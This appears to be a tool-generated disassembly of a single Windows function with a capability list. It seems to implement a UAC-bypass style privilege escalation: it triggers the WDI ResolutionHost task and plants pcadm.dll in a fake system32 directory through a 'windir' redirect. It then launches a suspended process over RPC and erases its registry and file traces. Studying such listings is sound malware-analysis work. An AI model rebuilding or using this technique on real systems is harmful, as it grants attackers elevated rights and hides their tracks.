Function at 0x140016690
Capabilities:
Create directory
Create process on windows
Create process suspended
Delete directory
Delete file
Map section object
Resume thread
Terminate process

Disassembly:
jmp 0x140025850
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1a78
call fcn.14001622b
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x50a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a98]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x1a10], rax
lea rcx, [0x14007edd2]
call fcn.140016b68
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 1
mov dword [rbp + 0x84], 0
mov dword [rbp + 0xc4], 0xc0000022
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x168], 0x1000
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1c8], 0
mov eax, 0x1a
mov word [rbp + 0x1e8], ax
mov eax, 0x1c
mov word [rbp + 0x1ea], ax
lea rax, str.taskhostw.exe
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x318], 0
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x104], eax
mov edx, 0x410
lea rcx, [rbp + 0x3e0]
call fcn.140016825
mov edx, 0x410
lea rcx, [rbp + 0xc40]
call fcn.140016825
mov edx, 0x18
lea rcx, [rbp + 0x2e8]
call fcn.140016825
mov edx, 0x68
lea rcx, [rbp + 0x260]
call fcn.140016825
lea rcx, str.PcaSvc
call fcn.1400161c7
movzx eax, al
test eax, eax
jne 0x1400259b5
jmp 0x1400261df
mov rax, qword [0x140075c58]
cmp dword [rax + 8], 0x23f0
jae 0x1400259cc
mov dword [rbp + 0x64], 0
mov edx, 0x80
lea rcx, [rbp + 0x1070]
call fcn.140016825
call qword [sym.imp.KERNEL32.dll_GetTickCount]
not eax
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x338], eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0xa4], eax
lea rcx, [rbp + 0xa4]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
mov dword [rbp + 0x33c], eax
lea rdx, [rbp + 0x1070]
mov rcx, qword [rbp + 0x338]
call fcn.1400166c2
lea rdx, str..exe
lea rcx, [rbp + 0x1070]
call fcn.140016af0
mov edx, 0x208
lea rcx, [rbp + 0x1130]
call fcn.140016825
lea rdx, str.Sessions_
lea rcx, [rbp + 0x1130]
call fcn.1400161f9
lea rcx, [rbp + 0x1130]
call fcn.140016bef
mov qword [rbp + 0x1a08], rax
call fcn.140016640
mov rcx, qword [rbp + 0x1a08]
mov rdx, rcx
mov ecx, dword [rax + 0x2c0]
call fcn.1400167da
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.140016af0
lea rcx, [rbp + 0x1130]
call fcn.140016bef
mov rdx, rax
mov cx, 0x3066
call fcn.140016073
mov qword [rbp + 0x338], 0x1000
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 4
lea r9, [rbp + 0x338]
lea r8, [rbp + 0x358]
mov edx, 0xf001f
lea rcx, [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtCreateSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025b73
cmp qword [rbp + 0x188], 0
jne 0x140025b78
jmp 0x1400261df
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0x100000
mov dword [rsp + 0x38], 2
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0x1000
xor r9d, r9d
lea r8, [rbp + 0x318]
mov rdx, 0xffffffffffffffff
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025be5
cmp qword [rbp + 0x318], 0
jne 0x140025bea
jmp 0x1400261df
lea rdx, str.BaseNamedObjects_
lea rcx, [rbp + 0x1130]
call fcn.1400161f9
lea rcx, [rbp + 0x1130]
call fcn.140016bef
mov rdx, rax
mov cx, 0x3166
call fcn.140016073
lea rdx, [rbp + 0x1130]
lea rcx, [rbp + 0x3a8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0x358], 0x30
mov qword [rbp + 0x360], 0
mov dword [rbp + 0x370], 0x40
lea rax, [rbp + 0x3a8]
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov byte [rsp + 0x20], 0
mov r9d, 1
lea r8, [rbp + 0x358]
mov edx, 0x1f0003
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtCreateEvent]
mov dword [rbp + 0xe4], eax
cmp dword [rbp + 0xe4], 0
jl 0x140025ca9
cmp qword [rbp + 0x1a8], 0
jne 0x140025cae
jmp 0x1400261df
lea rdx, str.ResolutionHost
lea rcx, str.MicrosoftWindowsWDI
call fcn.140016280
test eax, eax
jne 0x140025cca
jmp 0x1400261df
call fcn.140016640
lea r8, [rbp + 0x1e8]
lea rdx, [0x140016956]
mov ecx, dword [rax + 0x2c0]
call fcn.14001681b
mov rax, qword [0x140075c58]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x3e0]
call fcn.1400161f9
lea rdx, str.system32
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
lea rcx, [rbp + 0x3e0]
call fcn.1400162a3
mov qword [rbp + 0x128], rax
xor edx, edx
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140025d4f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140025d4f
jmp 0x1400261df
mov dword [rbp + 0x24], 1
xor r9d, r9d
lea r8, str.MpManagerStatusQueryEx
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.1400166bd
test eax, eax
jne 0x140025d7b
jmp 0x1400261df
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x1958], rax
cmp qword [rbp + 0x1958], 0x410
jae 0x140025d9b
jmp 0x140025da0
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x1958]
mov word [rbp + rcx + 0x3e0], ax
lea rdx, [0x14004e5a0]
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
lea rdx, str.pcadm.dll
lea rcx, [rbp + 0x3e0]
call fcn.140016af0
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0x3e0]
call fcn.14001612c
test eax, eax
jne 0x140025dfa
jmp 0x1400261df
mov r9d, 1
lea r8, str.MpManagerStatusQuery
mov edx, dword [rbp + 0x1a48]
mov rcx, qword [rbp + 0x1a40]
call fcn.1400166bd
test eax, eax
jne 0x140025e22
jmp 0x1400261df
mov rax, qword [0x140075c58]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0xc40]
call fcn.1400161f9
lea rdx, [rbp + 0x1070]
lea rcx, [rbp + 0xc40]
call fcn.140016af0
mov r8d, dword [rbp + 0x1a48]
mov rdx, qword [rbp + 0x1a40]
lea rcx, [rbp + 0xc40]
call fcn.14001612c
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jne 0x140025e79
jmp 0x1400261df
mov rax, qword [rbp + 0x318]
add rax, 4
lea rdx, [rbp + 0xc40]
mov rcx, rax
call fcn.1400161f9
mov rax, qword [0x140075c58]
add rax, 0x686
mov rdx, rax
lea rcx, [rbp + 0x810]
call fcn.1400161f9
lea rcx, [rbp + 0x810]
call fcn.1400162a3
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
movzx eax, word [rbp + rax*2 + 0x80e]
cmp eax, 0x5c
jne 0x140025f0e
mov rax, qword [rbp + 0x148]
lea rax, [rax + rax - 2]
mov qword [rbp + 0x1978], rax
cmp qword [rbp + 0x1978], 0x410
jae 0x140025ef8
jmp 0x140025efd
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x1978]
mov word [rbp + rcx + 0x810], ax
lea r9, [rbp + 0x810]
lea r8, str.windir
xor edx, edx
xor ecx, ecx
call fcn.14001600f
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140025f33
jmp 0x1400261df
cmp dword [rbp + 0x64], 0
je 0x140025f45
mov dword [rbp + 0x1a04], 0x31
jmp 0x140025f4f
mov dword [rbp + 0x1a04], 0x33
mov eax, 2
imul rax, rax, 0
movzx ecx, word [rbp + 0x1a04]
mov word [rbp + rax + 0x1104], cx
mov qword [rbp + 0x1998], 2
cmp qword [rbp + 0x1998], 4
jae 0x140025f7e
jmp 0x140025f83
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x1998]
mov word [rbp + rcx + 0x1104], ax
cmp dword [rbp + 0x64], 0
je 0x140025ffb
mov ecx, 0x80
call fcn.1400164f1
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
jne 0x140025fba
jmp 0x1400261df
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x30], rax
mov word [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000004
xor r9d, r9d
lea r8, [rbp + 0x1104]
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x1c8]
call fcn.140016c2b
mov qword [rbp + 0x2e8], rax
jmp 0x140026062
mov dword [rbp + 0x260], 0x68
lea rax, [rbp + 0x2e8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x260]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1104]
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140026062
jmp 0x1400261df
cmp qword [rbp + 0x2e8], 0
jne 0x140026071
jmp 0x1400261df
lea rdx, [rbp + 0x218]
lea rcx, str.0767a036_0d22_48aa_ba69_b619480f38cb
call fcn.140016406
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jne 0x140026143
cmp dword [rbp + 0x64], 0
je 0x1400260fc
mov rax, qword [0x140075c58]
add rax, 0x686
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1104]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc40]
xor r8d, r8d
mov rdx, qword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x218]
call fcn.140016a82
mov dword [rbp + 0x234], eax
jmp 0x1400260fa
jmp 0x140026136
mov r9d, dword [rbp + 0x2f8]
mov r8d, 1
lea rdx, [rbp + 0xc40]
mov rcx, qword [rbp + 0x218]
call fcn.1400161d1
mov dword [rbp + 0x234], eax
jmp 0x140026136
lea rcx, [rbp + 0x218]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
cmp dword [rbp + 0x234], 0
je 0x140026151
jmp 0x1400261df
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [rbp + 0x64], 0
je 0x140026195
lea rdx, [rbp + 0x84]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x84], 0
je 0x140026195
jmp 0x1400261df
mov edx, 0x4e20
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rax, qword [rbp + 0x318]
cmp dword [rax], 3
jne 0x1400261bf
mov dword [rbp + 0x1a04], 0
jmp 0x1400261c9
mov dword [rbp + 0x1a04], 0xc0000022
mov eax, dword [rbp + 0x1a04]
mov dword [rbp + 0xc4], eax
xor eax, eax
test eax, eax
jne 0x14002599d
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rbp + 0x2f0], 0
je 0x140026201
mov rcx, qword [rbp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x2e8], 0
je 0x140026227
xor edx, edx
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x2e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x1a8], 0
je 0x14002623e
mov rcx, qword [rbp + 0x1a8]
call qword [sym.imp.ntdll.dll_NtClose]
cmp qword [rbp + 0x318], 0
je 0x14002625c
mov rdx, qword [rbp + 0x318]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
cmp qword [rbp + 0x188], 0
je 0x140026273
mov rcx, qword [rbp + 0x188]
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rbp + 4], 0
je 0x14002628f
xor r9d, r9d
lea r8, str.windir
xor edx, edx
mov ecx, 1
call fcn.1400160d7
cmp dword [rbp + 0x64], 0
je 0x1400262b1
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantStore
mov rcx, 0xffffffff80000001
call fcn.140016c0d
jmp 0x1400262e5
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000002
call fcn.140016c0d
lea r8, [rbp + 0x1070]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionAppCompatFlagsCompatibility_AssistantPersisted
mov rcx, 0xffffffff80000001
call fcn.140016c0d
cmp dword [rbp + 0x44], 0
je 0x1400262f8
lea rcx, [rbp + 0xc40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [rbp + 0x24], 0
je 0x14002634e
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 0x128]
shl rax, 1
mov qword [rbp + 0x19b8], rax
cmp qword [rbp + 0x19b8], 0x410
jae 0x14002632b
jmp 0x140026330
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x19b8]
mov word [rbp + rcx + 0x3e0], ax
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
cmp dword [rbp + 0x104], 0
jl 0x14002635d
call qword [sym.imp.ole32.dll_CoUninitialize]
cmp dword [rbp + 0xc4], 0
je 0x14002636b
call fcn.14001615e
mov eax, dword [rbp + 0xc4]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004d890]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x1a10]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1a28]
pop rdi
pop rbp
ret